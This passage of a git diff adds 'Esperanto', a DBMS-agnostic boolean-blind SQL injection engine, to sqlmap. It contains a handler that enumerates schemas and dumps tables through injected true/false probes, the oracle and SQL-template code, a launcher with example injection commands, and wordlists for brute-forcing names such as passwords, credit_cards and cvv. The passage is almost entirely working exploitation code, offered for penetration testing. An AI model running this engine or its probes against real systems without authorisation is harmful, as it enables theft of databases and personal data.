to retrieve (--banner / --tables / --dump / ...); + esperanto only works out *how* on a dialect it discovers from scratch, and every + probe rides sqlmap's own boolean inference (request / comparison / WAF stack).""" + from lib.core.data import conf + from lib.core.data import kb + from lib.core.data import logger + from lib.core.enums import CHARSET_TYPE + from lib.core.enums import EXPECTED + from lib.core.exception import SqlmapDataException + from lib.core.exception import SqlmapUnsupportedFeatureException + from lib.request.inject import checkBooleanExpression + from lib.request.inject import getValue + from plugins.generic.enumeration import Enumeration + from plugins.generic.misc import Miscellaneous + + # boolean-blind-only oracle (no inband UNION marker): whole-page true/false, so a + # reflective target that filters out the reflected marker can't defeat it + def _blindOracle(condition): + return getValue(condition, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, + suppressOutput=True, union=False, error=False, time=False) + + class _EsperantoHandler(Enumeration, Miscellaneous): + def __init__(self): + Enumeration.__init__(self) + Miscellaneous.__init__(self) + self._esp = None + self._notesLogged = 0 # how many dialect.notes already surfaced (see _flushNotes) + self._identCache = {} # current user/db: fetch (and announce) once + self._colCache = {} # (db, table) -> ordered column names, so a dump + # reuses what --columns already enumerated + self._scopeCache = {} # table -> resolved schema (see _scopeFor) + + def __getattr__(self, name): + # this handler only mixes in Enumeration/Miscellaneous (read-only, boolean-oracle + # extraction); any DBMS-specific capability (--os-*/--file-*/--sql-shell/--udf-*/--reg-*/ + # --cleanup) has no generic equivalent - fail cleanly instead of an AttributeError deep + # in action(). Leading underscore excluded so internal/dunder lookups behave normally. + if name.startswith("_"): + raise AttributeError(name) + raise SqlmapUnsupportedFeatureException("Esperanto does not support '%s' (DBMS-agnostic engine covers enumeration/dump only)" % name) + + def _engine(self): + if self._esp is None: + # esperanto is a PURE boolean-oracle engine: every probe is one true/false + # question, so it gains nothing from UNION/error inband extraction - while + # those need a concatenated marker whose generic form is CONCAT() when the + # backend is unidentified (agent.py), and CONCAT() does not exist on SQLite/ + # Firebird/Oracle (they use ||) so every such probe errors. so PREFER the + # boolean-blind technique: no marker, no concatenation, whole-page true/false, + # works everywhere. only fall back to whatever-technique-is-available if the + # target has no usable boolean-blind vector. _ask decides what an undecidable + # probe MEANS by context (skip a candidate rung vs degrade a data read loudly). + esp = Esperanto(_blindOracle, retries=2) + logger.info("Esperanto is discovering the back-end SQL dialect (agnostic mode, boolean-blind)") + try: + esp.discover() + except RuntimeError: + # no usable boolean-blind vector on this target - retry with any technique + # sqlmap detected (UNION/error/time); may hit the CONCAT limitation above + esp = Esperanto(lambda condition: checkBooleanExpression(condition), retries=2) + logger.info("Esperanto retrying discovery via any available inference technique") + try: + esp.discover() + except RuntimeError as ex: + # genuinely unusable (unstable target, or no substring/pattern + # primitive) - stop cleanly instead of surfacing an internal traceback + raise SqlmapDataException("Esperanto could not establish a reliable extraction oracle on this target (%s)" % ex) + logger.info("Esperanto dialect verdict: %s" % (esp.identify().get("product") or "unknown")) + esp._progress = lambda value: logger.info("retrieved: %s" % _sanitize(value)) # live feedback (sanitized) + self._esp = esp + self._notesLogged = 0 + self._flushNotes() # discovery-time notes + return self._esp + + def _flushNotes(self): + # surface degradation notes LOUDLY as they accrue. Enumeration/dump append notes + # AFTER discovery, so logging once would hide every runtime degradation (incomplete + # listing, truncation, blocked paging) - flush the NEW ones after each operation. + notes = self._esp.dialect.notes if self._esp else [] + for note in notes[self._notesLogged:]: + logger.warning("Esperanto: %s" % note) + self._notesLogged = len(notes) + + def _scopeDb(self): + # the database to scope table/column lookups to: -D if given, else the + # current one. WITHOUT this, a same-named table in another schema (e.g. + # information_schema.USERS vs shop.users) merges columns and breaks dump. + return conf.db or self.getCurrentDb() + + def _scopeFor(self, table): + # scope for a SPECIFIC table: -D wins; else the current schema IF the table + # is there; else the schema the table actually lives in (PG-family: tables + # often sit in 'public' while current_schema is the login user's own schema). + if conf.db: + return conf.db + if table in self._scopeCache: + return self._scopeCache[table] + esp = self._engine() + cur = self.getCurrentDb() + scope = cur if (cur and esp.hasTable(table, cur)) else (esp.tableSchema(table) or cur) + self._scopeCache[table] = scope + return scope + + def _db(self): + return self._scopeDb() or "" + + def getFingerprint(self): + # concise fingerprint only; the version banner is shown for --banner, not + # printed unbidden on every run (and not re-extracted here) + product = self._engine().identify().get("product") or "unknown" + return "back-end DBMS: %s (via Esperanto DBMS-agnostic engine)" % product + + def getBanner(self): + # the ONLY path that blind-reads the full version string (expensive); the + # fingerprint/product naming never does + logger.info("fetching banner") + kb.data.banner = self._engine().banner() + return kb.data.banner + + def getCurrentUser(self): + if "user" not in self._identCache: + expr = self._engine().dialect.identity.get("user") + if expr: + logger.info("fetching current user") + self._identCache["user"] = self._safeExtract(expr) if expr else None + kb.data.currentUser = self._identCache["user"] + return kb.data.currentUser + + def getCurrentDb(self): + # called repeatedly to scope tables/columns/dump -> fetch and announce once + if "db" not in self._identCache: + expr = self._engine().dialect.identity.get("database") + if expr: + logger.info("fetching current database") + self._identCache["db"] = self._safeExtract(expr) if expr else None + kb.data.currentDb = self._identCache["db"] + return kb.data.currentDb + + def _safeExtract(self, expr): + # current user/db are used as SQL QUALIFIERS + cache keys + scoping decisions, so + # they must be EXACT - a truncated/case-ambiguous value here becomes wrong SQL. + try: + res = self._esp.extractResult(expr) + except OracleUndecided: + logger.warning("Esperanto could not retrieve %s (oracle undecided)" % expr) + return None + if res.value is not None and not res.exact: + logger.warning("Esperanto: %s not recovered exactly (%s) - not used for scoping" % (expr, res.integrity)) + return None + return res.value + + def isDba(self, user=None): + # UNKNOWN, not a negative claim: Esperanto has no generic DBA probe, so returning + # False would assert "not a DBA" on no evidence. Report it can't tell and return + # None (unknown) so a transient can't be read as a proven privilege verdict. + logger.warning("Esperanto cannot determine DBA status (no generic privilege probe)") + kb.data.isDba = None + return kb.data.isDba + + def getDbs(self): + logger.info("fetching database names") + kb.data.cachedDbs = self._engine().enumerate("database", limit=(conf.limitStop or 50)) or [] + self._flushNotes() + return kb.data.cachedDbs + + def getTables(self, bruteForce=None): + # scope to the requested database (-D) or the current one, so the listing + # isn't polluted with every schema's tables (e.g. information_schema) + db = conf.db or self.getCurrentDb() + lim = conf.limitStop or 100 + names = self._engine().enumerate("table", limit=lim, schema=db) or [] + if not names and not conf.db and db != "public": + # current schema empty (PG-family: login-user schema) -> tables usually + # live in 'public'; broaden rather than report nothing + pub = self._engine().enumerate("table", limit=lim, schema="public") or [] + if pub: + names, db = pub, "public" + infoMsg = "fetching tables" + if db: + infoMsg += " for database '%s'" % db + logger.info(infoMsg) + kb.data.cachedTables = {db or "": names} + self._flushNotes() + return kb.data.cachedTables + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + if not conf.tbl: + logger.error("Esperanto needs a table (-T) to enumerate columns") + return {} + db = self._scopeFor(conf.tbl) + infoMsg = "fetching columns for table '%s'" % conf.tbl + if db: + infoMsg += " in database '%s'" % db + logger.info(infoMsg) + names = self._engine().columns(conf.tbl, schema=db) or [] + self._colCache[(db, conf.tbl)] = names # let a following dump reuse these + kb.data.cachedColumns = {db or "": {conf.tbl: dict((n, None) for n in names)}} + self._flushNotes() + return kb.data.cachedColumns + + def getSchema(self): + esp = self._engine() + # use the EFFECTIVE db that getTables() actually resolved (it may have broadened to + # 'public' when the current schema was empty) - recomputing _db() here would miss + # that and look columns up in the wrong (empty) schema. + tabmap = self.getTables() + effdb, tables = next(iter(tabmap.items()), ("", [])) + colscope = self._scopeDb() if effdb == "" else effdb + schema = {} + for table in (tables or []): + schema[table] = dict((n, None) for n in (esp.columns(table, schema=colscope) or [])) + kb.data.cachedColumns = {effdb: schema} + self._flushNotes() + return kb.data.cachedColumns + + def dumpTable(self, foundData=None): + if not conf.tbl: + logger.error("Esperanto needs a table (-T) to dump") + return + db = self._scopeFor(conf.tbl) + cols = [c.strip() for c in conf.col.split(",")] if conf.col else None + if cols is None: + cols = self._colCache.get((db, conf.tbl)) # reuse --columns' result; don't re-walk + infoMsg = "fetching entries" + if cols: + infoMsg += " of column(s) '%s'" % ", ".join(cols) + infoMsg += " for table '%s'" % conf.tbl + if db: + infoMsg += " in database '%s'" % db + logger.info(infoMsg) + # sqlmap row-SELECTORS change WHICH rows come back, so REFUSE (don't silently return + # different data): --where filters, --start offsets. --stop is honored as a row cap. + if getattr(conf, "dumpWhere", None): + logger.error("Esperanto cannot honor --where; refusing rather than returning unfiltered rows") + return + if getattr(conf, "limitStart", None): + logger.error("Esperanto cannot honor --start; refusing rather than returning the wrong row range") + return + # the SAME qualified reference for count and dump, so a non-default schema can't make + # the count hit a different (unqualified) table than the dump (#8). + qtable = self._engine().qualify(conf.tbl, db) + if conf.limitStop: + limit = conf.limitStop + else: + try: + limit = self._engine().extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) or 10 + except (OracleUndecided, OverflowError): + limit = 1 << 30 # unknown count -> effectively "all" (keyset stops at end) + logger.info("no --stop given; dumping all %s rows" % (limit if limit < (1 << 30) else "(count unknown)")) + result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=limit) + if not result or not result["columns"]: + logger.error("Esperanto could not dump table '%s'" % conf.tbl) + return + table_data = {} + for i, name in enumerate(result["columns"]): + values = [("NULL" if row[i] is None else row[i]) for row in result["rows"]] + width = max([len(name)] + [len(v) for v in values]) if values else len(name) + table_data[name] = {"length": width, "values": values} + table_data["__infos__"] = {"count": len(result["rows"]), "table": conf.tbl, "db": self._db()} + if not result["complete"]: + logger.warning("Esperanto dump of '%s' may be incomplete" % conf.tbl) + if not result.get("exact", True): # coverage may be complete yet content inexact + logger.warning("Esperanto dump of '%s': values recovered via a collation-dependent " + "comparison - case/accents may not be byte-exact" % conf.tbl) + kb.data.dumpedTable = table_data + self._flushNotes() + conf.dumper.dbTableValues(kb.data.dumpedTable) + + return _EsperantoHandler() diff --git a/extra/esperanto/oracle.py b/extra/esperanto/oracle.py new file mode 100644 index 00000000000..946a3191fd7 --- /dev/null +++ b/extra/esperanto/oracle.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from contextlib import contextmanager + +from .records import OracleUndecided +from .records import QueryBudgetExceeded + + +class _OracleCore(object): + """_OracleCore + + the boolean-oracle contract + tiny SQL formatters (nothing dialect-specific).""" + + @contextmanager + def _probePhase(self): + # mark a candidate-rung laddering section (discovery or lazy _ensure*): while + # active, a host oracle may safely read an undecidable probe as False ("this + # rung is unusable"), whereas outside it an undecidable READ must stay undecided + prev = self._probing + self._probing = True + try: + yield + finally: + self._probing = prev + + def _emit(self, value): + # per-VALUE feedback is for user-requested data reads only, NOT capability/discovery probes + # (charset, lazy hexfn, cast canary - all wrapped in _probePhase): surfacing an internal + # probe value as "retrieved: " reads as a stray, out-of-context line to the user. + if self._progress and value not in (None, "") and not self._probing: + try: + self._progress(value) + except Exception: + pass + + def _emitChar(self, partial, total): + # live per-character feedback DURING a long extraction, so the user sees movement + # instead of a frozen prompt (a whole framed row is one long silent read otherwise) - + # suppressed during probe phases (see _emit) so a discovery probe doesn't animate + if self._charProgress and not self._probing: + try: + self._charProgress(partial, total) + except Exception: + pass + + def _probe(self, condition): + # ONE tri-state evaluation: True / False / None(persistent error). a raised + # oracle is retried (transient) before being reported as an error - a + # wrong-dialect probe legitimately errors, but a flaky connection must not + # be allowed to read as a definitive False. counts every actual oracle call. + for _ in range(self.retries + 1): + if self.max_queries is not None and self._queries >= self.max_queries: + raise QueryBudgetExceeded("oracle query budget exhausted at %d calls" % self._queries) + self._queries += 1 + try: + observed = self.oracle(condition) + except Exception: + continue + # STRICT: only a real bool is an observation. None/0/''/other must not be + # coerced to False (that silently corrupts bisection) - treat as undecided. + if observed is True or observed is False: + return observed + return None + + def _ask(self, condition): + # decided boolean, or raise OracleUndecided - NEVER manufacture False from an + # unobservable probe (that would silently corrupt blind bisection). the oracle + # must itself return False for unsupported/rejected SQL; a raised probe means + # "could not observe" and, absent a quorum, is fatal. + if self.quorum <= 1: + r = self._probe(condition) + if self.verbose: + print(" [%s] %s" % ("T" if r else ("E" if r is None else "f"), condition)) + if r is None: + # while laddering CANDIDATE rungs an undecidable/erroring probe (oracle + # returned None OR raised - both surface here as None) means "this rung is + # unusable", so read it as False and let the ladder move on; only OUTSIDE + # probing (reading committed data) is it fatal, so a flaky read never + # silently coerces to a definite bit + if self._probing: + return False + self._errors += 1 + raise OracleUndecided("oracle could not decide: %s" % condition) + return r + + samples = 2 * self.quorum - 1 + yes = no = tries = 0 + while (yes + no) < samples and tries < samples + self.quorum + 2: + tries += 1 + r = self._probe(condition) + if r is None: + self._errors += 1 + continue + yes, no = (yes + 1, no) if r else (yes, no + 1) + if yes >= self.quorum or no >= self.quorum: + break + if self.verbose: + state = "T" if yes >= self.quorum else ("f" if no >= self.quorum else "E") + print(" [%s %d:%d] %s" % (state, yes, no, condition)) + if yes >= self.quorum: + return True + if no >= self.quorum: + return False + if self._probing: # candidate rung the vote couldn't settle -> unusable, not fatal + return False + raise OracleUndecided("oracle vote undecided: %s (%d true / %d false)" % (condition, yes, no)) + + def _sub(self, expr, pos, length): + # pos is always passed 1-based; adjust for a 0-based dialect if discovered + p = pos if self.dialect.substring.get("index_base", 1) == 1 else pos - 1 + return self.dialect.substring[1].format(expr=expr, pos=p, len=length) + + def _len(self, expr): + return self.dialect.length[1].format(expr=expr) + + def _sanity(self): + return self._ask("1=1") and not self._ask("1=2") and \ + self._ask("'a'='a'") and not self._ask("'a'='b'") + + def _exists(self, source, column="1", alias=None): + # does `source` (a table/catalog) - and optionally `column` in it - resolve? + # WITHOUT COUNT (which a WAF may filter): a scalar subquery over it is NULL when + # it resolves (WHERE 1=0 -> 0 rows) and ERRORS -> False when it doesn't. Works + # for empty tables too. `column` is passed BARE so a nonexistent one errors, + # rather than being taken as a string literal (SQLite quirk) and passing every + # fake name. When `alias` is set the column is ALIAS-QUALIFIED (`e.col`) so a bare + # candidate can't silently resolve to a KEYWORD/FUNCTION (USER, CURRENT_USER, ...) + # or an unrelated in-scope name - an alias-qualified unknown is always an error. + if alias: + return self._ask("(SELECT %s.%s FROM %s %s WHERE 1=0) IS NULL" % (alias, column, source, alias)) + return self._ask("(SELECT %s FROM %s WHERE 1=0) IS NULL" % (column, source)) diff --git a/extra/esperanto/records.py b/extra/esperanto/records.py new file mode 100644 index 00000000000..fed89e548a4 --- /dev/null +++ b/extra/esperanto/records.py @@ -0,0 +1,319 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +class OracleUndecided(RuntimeError): + """The oracle gave no reliable True/False after retries/voting - a transport or + observation failure, NOT a definitive answer. Raised so blind extraction fails + CLOSED instead of converging on plausible-but-wrong data from a manufactured + False. (A wrong-dialect/unsupported probe must be reported as False by the + oracle itself; exceptions are reserved for 'could not observe'.)""" + + +class NumericOutOfRange(OverflowError): + """A bounded numeric read proved the value lies OUTSIDE [lo, hi] (above or below). + Raised so a bounded search never invents an in-range boundary value (saturating to + `hi`, or - for BETWEEN - converging to a wrong small value). Callers decide: length + measurement converts it to (ceiling, truncated=True); integer extraction re-raises.""" + + +class Cap(object): + """A discovered primitive: (name, template) PLUS measured semantic properties. + Indexable like the old (name, template) tuple so existing call sites keep working + (`cap[0]`, `cap[1]`), with `cap.props` / `cap.get(key)` for the measured facts - + e.g. length unit=characters|bytes, substring index_base, charcode semantics.""" + __slots__ = ("name", "template", "props") + + def __init__(self, name, template, **props): + self.name, self.template, self.props = name, template, props + + def __getitem__(self, i): + return (self.name, self.template)[i] + + def get(self, key, default=None): + return self.props.get(key, default) + + def __repr__(self): + extra = (" " + " ".join("%s=%s" % kv for kv in sorted(self.props.items()))) if self.props else "" + return "%s(%s)" % (self.name, extra.strip() or self.template) + + +class Integrity(object): + """How much the engine PROVED about a recovered value - separating 'the walk finished' + from 'the bytes are exactly the source'. `complete` alone conflated the two; a value can + be WHOLE (every position visited) yet not EXACT (case/accent ambiguous under a lossy + collation). Anything used as executable SQL metadata or a paging boundary requires EXACT.""" + EXACT = "exact" # proven byte-identical to the source value (or a proven NULL) + WHOLE_BUT_AMBIGUOUS = "ambiguous" # every position visited, but case/accent is uncertain + TRUNCATED = "truncated" # a bounded prefix; the source continues + UNRESOLVED = "unresolved" # a character could not be recovered (U+FFFD present) + FAILED = "failed" # could not observe / verify (e.g. whole-value check failed) + + +# warnings that leave a value WHOLE but not EXACT (case/accent uncertain) - distinct from the +# "recovered via hex" soft note (that value IS exact) and from hard integrity warnings. +_AMBIGUOUS_WARNINGS = ("case", "collation") +_U_REPL = u"\uFFFD" + + +class ExtractResult(object): + """Structured extraction outcome - keeps NULL, empty, truncated and failed + distinct (str-like so `str(r)`/truthiness still read naturally).""" + __slots__ = ("value", "is_null", "complete", "truncated", "queries", "warnings") + + def __init__(self, value, is_null=False, complete=True, truncated=False, queries=0, warnings=None): + self.value = value + self.is_null = is_null + self.complete = complete + self.truncated = truncated + self.queries = queries + self.warnings = warnings or [] + + @property + def integrity(self): + # classify what was PROVED (see Integrity). Order matters: a HARD defect (truncated / + # unresolved / incomplete) is classified BEFORE null-exactness, so an inconsistent + # (value=None, is_null=True, complete=False) can never read as EXACT. + if self.truncated: + return Integrity.TRUNCATED + if self.value is not None and _U_REPL in self.value: + return Integrity.UNRESOLVED + if not self.complete: # a hard warning / failed verify -> not exact + return Integrity.FAILED + if self.value is None: + return Integrity.EXACT if self.is_null else Integrity.FAILED + if any(a in w for w in self.warnings for a in _AMBIGUOUS_WARNINGS): + return Integrity.WHOLE_BUT_AMBIGUOUS + return Integrity.EXACT + + @property + def exact(self): + # True ONLY when the recovered bytes are proven identical to the source. Required for + # any value that becomes executable SQL (identifier, qualifier, exact literal). + return self.integrity == Integrity.EXACT + + def __str__(self): + return "" if self.value is None else self.value + + def __bool__(self): + return bool(self.value) + + __nonzero__ = __bool__ # py2 + + def __repr__(self): + return ("ExtractResult(value=%r null=%s integrity=%s truncated=%s q=%d%s)" + % (self.value, self.is_null, self.integrity, self.truncated, self.queries, + " warnings=%r" % self.warnings if self.warnings else "")) + + +class BulkResult(object): + """List-like bulk-enumeration outcome that also reports completeness against an + independent COUNT (so a truncated dump is visible, not silently short).""" + __slots__ = ("values", "expected", "complete") + + def __init__(self, values, expected=None, complete=True): + self.values = values + self.expected = expected + self.complete = complete + + def __iter__(self): + return iter(self.values) + + def __len__(self): + return len(self.values) + + def __getitem__(self, i): + return self.values[i] + + def __repr__(self): + return "%r%s" % (self.values, "" if self.complete else " (incomplete: %s of %s)" % (len(self.values), self.expected)) + + +class Dialect(object): + """Discovered target profile - the synthesized 'queries.xml row'.""" + + __slots__ = ("concat", "substring", "length", "bytelen", "textcast", + "coalesce", "charcode", "charfrom", "hexfn", "binwrap", "charset", + "bulkAgg", "dual", "identQuote", "prefix", "compare", "ordered", + "identity", "catalog", "catalogEnum", "family", "product", + "version", "evidence", "notes") + + def __init__(self): + self.identQuote = None # (open, close) identifier-quote chars, or None + self.prefix = None # (op, multi, single) LIKE/GLOB fallback, or None + self.concat = None # (name, template) + self.substring = None + self.length = None + self.bytelen = None # (name, template) byte length (vs char length) + self.textcast = None # (name, template) scalar -> text + self.coalesce = None # (name, template) NULL guard + self.charcode = None # None -> no code fn (direct-compare mode) + self.charfrom = None + self.hexfn = None # (name, template) for hex/byte extraction + self.binwrap = None # (name, template) byte-ordered comparison wrapper + self.charset = None # Python codec for the DB's DECLARED charset (authoritative hex decode) + self.bulkAgg = None # (name, template) row-aggregation for bulk enum + self.dual = None # (name, from-suffix) tableless-SELECT skeleton + self.compare = None # 'code' | 'collation' | 'hex' | 'ordinal' | 'equality' | 'equality-ci' + self.ordered = False # 'b' > 'a' holds (lexicographic bisection ok) + self.identity = {} + self.catalog = None + self.catalogEnum = {} # {kind: (name_col, source, filter)} + self.family = None # from the catalog probe + self.product = None # best-guess product (the detective verdict) + self.version = None # extracted banner string + self.evidence = [] # [(signal, implication), ...] + self.notes = [] + + def __repr__(self): + pick = lambda x: x[0] if x else None + return ("Dialect(concat=%r substring=%r length=%r compare=%r dual=%r " + "catalog=%r product=%r)" % ( + pick(self.concat), pick(self.substring), pick(self.length), + self.compare, pick(self.dual), self.catalog, + self.product or self.family)) + + +class InferenceStrategy(object): + """An immutable, host-consumable rendering of a discovered dialect. + + This is the crystallization esperanto is really for: the discovery half produces + ONE frozen strategy, and a host inference engine (ideally sqlmap's existing + bisection - which already owns threading, hashDB resume, prediction, and the + known-answer reliability litmus) drives the loop by calling these PURE render_* + methods. No oracle here, no retrieval loop - just SQL construction from the + discovered primitives. Frozen after construction so worker threads can share it. + + The reference host loop `hostExtract()` below drives extraction using ONLY a + strategy + an oracle, with no dependency on Esperanto's own retrieval code. + + SCOPE (honest): this is a PARTIAL hand-off, not yet a full sufficiency proof. + `hostExtract()` drives the code/collation/ordinal/equality char modes under an + ordered comparator (gt / BETWEEN / operator-free), with length-fn OR substring- + derived length, tri-state and integrity-carrying. It does NOT yet drive pattern-only + (LIKE floor) or membership-only extraction, and the frozen field set does not yet + carry every discovered semantic (hex-encoding confidence, IN support, wildcard + semantics, substring/length units, cast bounds). Those modes/semantics must be added + - or the claim narrowed - before this can be called a complete interface; the + long-term direction is predicate renderers driven by sqlmap's own inference engine. + """ + + _FIELDS = ("product", "family", "compare_mode", "catalog", "dual", "notes", + "substring", "index_base", "length", "charcode", "charcode_sem", + "hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash", + "comparator", "cmp_template", "exact_witness") + + def __init__(self, **kw): + for f in self._FIELDS: + object.__setattr__(self, f, kw.get(f)) + object.__setattr__(self, "_frozen", True) + + def __setattr__(self, *a): # immutable + raise AttributeError("InferenceStrategy is frozen") + + # -- pure SQL construction (no oracle) ---------------------------------- + def substr(self, expr, pos, length=1): + p = pos if self.index_base == 1 else pos - 1 + return self.substring.format(expr=expr, pos=p, len=length) + + def renderLength(self, expr): + return self.length.format(expr=expr) + + def renderIsNull(self, expr): + return "(%s) IS NULL" % expr + + def renderCharExists(self, expr, pos): + # a character exists at 1-based pos: its 1-char substring is non-empty. Uses '=' + # only (no '>'/'<'), and reads False for a past-end substring whether the engine + # returns '' or NULL there - so length can be derived when there is no length fn. + return "NOT ((%s)='')" % self.substr(expr, pos) + + def renderHex(self, expr): + return self.hexfn.format(expr=expr) if self.hexfn else None + + def renderCode(self, expr, pos): + # scalar code point of the char at pos (None unless a code fn was found) + return self.charcode.format(expr=self.substr(expr, pos)) if self.charcode else None + + def renderGt(self, expr, n, high=None): + # "expr > n" via the DISCOVERED comparator, so a host driving this strategy + # survives a WAF that strips '>'/'<' exactly as esperanto's own loop does. + # BETWEEN needs the current upper bound; operator-free rungs (sign/abs/...) don't. + if self.comparator == "between" and high is not None: + return "%s BETWEEN %d AND %d" % (expr, n + 1, high) + if self.cmp_template: + return self.cmp_template.format(expr=expr, n=n) + return "%s>%d" % (expr, n) + + def renderCharCmp(self, expr, pos, ch, op=">"): + # boolean: char at pos literal ch, byte-ordered when a binary wrapper + # is available (else the target's own collation) + one = self.substr(expr, pos) + if self.binwrap: + return "%s%s%s" % (self.binwrap.format(x=one), op, self.binwrap.format(x=self.lit(ch))) + return "%s%s%s" % (one, op, self.lit(ch)) + + def renderExactEq(self, left, right): + # whole-value byte-exact equality (hex > binary wrapper > plain) + if self.hexfn: + return "(%s)=(%s)" % (self.hexfn.format(expr=left), self.hexfn.format(expr=right)) + if self.binwrap: + return "(%s)=(%s)" % (self.binwrap.format(x=left), self.binwrap.format(x=right)) + return "(%s)=(%s)" % (left, right) + + def lit(self, value): + s = value.replace("\\", "\\\\") if self.backslash else value + return "'%s'" % s.replace("'", "''") + + def buildLiteral(self, value): + if value and self.charfrom and self.concat and all(0 < ord(c) < 128 for c in value): + parts = [self.charfrom.format(code=ord(c)) for c in value] + out = parts[0] + for p in parts[1:]: + out = self.concat.format(a=out, b=p) + return out + return self.lit(value) + + def quoteIdent(self, name): + if not self.identquote: + return name + o, c = self.identquote + return "%s%s%s" % (o, name.replace(c, c * 2), c) + + def asQueriesRow(self): + """The sqlmap queries.xml-shaped mapping - the concrete integration hook. + These four templates are what sqlmap's inference/error/union machinery reads + from queries[Backend.getIdentifiedDbms()]. The `inference` template renders the + char-code comparison through the DISCOVERED comparator, so a strategy that survives + a '>'-stripping WAF natively is NOT turned back into a blocked '>' here. Membership + mode has no ordered `>%d` form, so `inference` is None (that mode needs the predicate + interface, not this 4-field row).""" + inference = None + if self.charcode: + code = self.charcode.format(expr=self.substr("%s", "%d")) + if self.comparator == "membership": + inference = None + elif self.cmp_template: # operator-free rung (SIGN/ABS/...) + inference = self.cmp_template.replace("{expr}", code).replace("{n}", "%d") + elif self.comparator == "between": + inference = "%s BETWEEN (%%d)+1 AND 9223372036854775807" % code + else: # gt + inference = "%s>%%d" % code + return { + "length": self.length, + "substring": self.substring, + "inference": inference, + "case": "SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)" + self.dual, + "hex": self.hexfn, + } + + def __repr__(self): + return "InferenceStrategy(product=%r compare=%r catalog=%r)" % ( + self.product, self.compare_mode, self.catalog) + + +class QueryBudgetExceeded(OracleUndecided): + """The configured hard oracle-call budget was exhausted mid-operation.""" diff --git a/extra/esperanto/run.py b/extra/esperanto/run.py new file mode 100644 index 00000000000..c91ee08a0d1 --- /dev/null +++ b/extra/esperanto/run.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Standalone launcher for the DBMS-agnostic Esperanto engine. Run it straight from this +directory - no sqlmap, no PYTHONPATH, no `-m` incantation: + + python run.py -u 'http://host/vuln?id=1*' --string --tables --dump -T users + python run.py --self-test + python run.py --live # local DBMS dev harness + +The package is fully self-contained (bundled wordlists, no sqlmap imports in the engine), +so the whole directory can be copied elsewhere and still run. sqlmap uses the very same +package via `from extra.esperanto import buildHandler`, handing the engine its own boolean +oracle (checkBooleanExpression); this launcher is only for standalone use. +""" + +import importlib +import os +import sys + +# make this package importable by its own (folder) name from any working directory, so +# the relative imports inside resolve, then hand off to the CLI in __main__ +_HERE = os.path.dirname(os.path.abspath(__file__)) +sys.path.insert(0, os.path.dirname(_HERE)) +main = importlib.import_module("%s.__main__" % os.path.basename(_HERE)).main + +if __name__ == "__main__": + sys.exit(main()) diff --git a/extra/esperanto/wordlist.py b/extra/esperanto/wordlist.py new file mode 100644 index 00000000000..37845cfecfa --- /dev/null +++ b/extra/esperanto/wordlist.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Common table/column names for the brute-force fallback used when the system catalog +is unreadable or unknown (permission wall, exotic/Frankenstein engine, CTF). This is +the "know nothing about the schema, guess the usual names" path - the equivalent of +sqlmap's --common-tables / --common-columns. sqlmap's own (much larger) wordlists are +preferred when this package runs inside the repo; the bundled curated lists below are +the self-contained fallback so the standalone CLI works with no external files. +""" + +import os + + +# curated, most-common first; kept deliberately small so brute-forcing stays practical +# over a slow blind oracle (sqlmap's full lists are used instead when available) +_BUNDLED_TABLES = ( + "users", "user", "admin", "administrator", "accounts", "account", "members", + "member", "customers", "customer", "clients", "client", "people", "persons", + "employees", "staff", "contacts", "profiles", "profile", "sessions", "session", + "orders", "order", "products", "product", "items", "item", "categories", + "category", "cart", "carts", "invoices", "payments", "transactions", "coupons", + "rates", "reviews", "ratings", "inventory", "stock", "shipping", "posts", "post", + "articles", "pages", "page", "comments", "messages", "message", "news", "blog", + "blogs", "tags", "notifications", "subscriptions", "feedback", "files", "file", + "uploads", "images", "documents", "media", "config", "configuration", "settings", + "setting", "options", "preferences", "roles", "role", "permissions", "groups", + "group", "tokens", "token", "secrets", "secret", "credentials", "passwords", + "keys", "apikeys", "api_keys", "cards", "creditcards", "credit_cards", "logs", + "log", "events", "event", "audit", "audit_log", "history", "activity", "data", + "records", "metadata", "backup", "backups", "temp", "tmp", "test", "flags", +) + + +_BUNDLED_COLUMNS = ( + "id", "uid", "user_id", "userid", "guid", "name", "username", "uname", "user", + "login", "handle", "nick", "nickname", "pass", "passwd", "password", "pwd", + "pass_hash", "password_hash", "hash", "salt", "email", "mail", "e_mail", + "first_name", "firstname", "fname", "last_name", "lastname", "lname", "fullname", + "full_name", "surname", "display_name", "phone", "mobile", "tel", "address", + "addr", "street", "city", "country", "state", "zip", "zipcode", "postcode", + "dob", "birthdate", "age", "gender", "sex", "role", "roles", "is_admin", "admin", + "level", "active", "is_active", "enabled", "disabled", "banned", "status", + "verified", "created", "created_at", "created_on", "updated", "updated_at", + "modified", "deleted", "deleted_at", "last_login", "timestamp", "date", "time", + "token", "api_key", "apikey", "session", "secret", "key", "value", "data", + "content", "body", "text", "title", "subject", "description", "comment", "note", + "notes", "message", "url", "link", "ip", "ip_address", "useragent", "referer", + "cc", "card", "creditcard", "credit_card", "card_number", "cvv", "cvc", "expiry", + "amount", "price", "cost", "total", "balance", "quantity", "qty", "count", "code", + "type", "category", "tag", "slug", "flag", "flags", "extra", "meta", "settings", +) + + +def _fromFile(fname): + # sqlmap's own wordlist when this runs inside the repo (data/txt/). + # located relative to this file: extra/esperanto/ -> ../../data/txt/ + path = os.path.join(os.path.dirname(__file__), "..", "..", "data", "txt", fname) + try: + with open(path) as fh: + names = [line.strip() for line in fh if line.strip() and not line.startswith("#")] + return names or None + except (IOError, OSError): + return None + + +def commonTables(): + """Candidate table names, most-common first. sqlmap's list if present, else bundled.""" + return _fromFile("common-tables.txt") or list(_BUNDLED_TABLES) + + +def commonColumns(): + """Candidate column names, most-common first. sqlmap's list if present, else bundled.""" + return 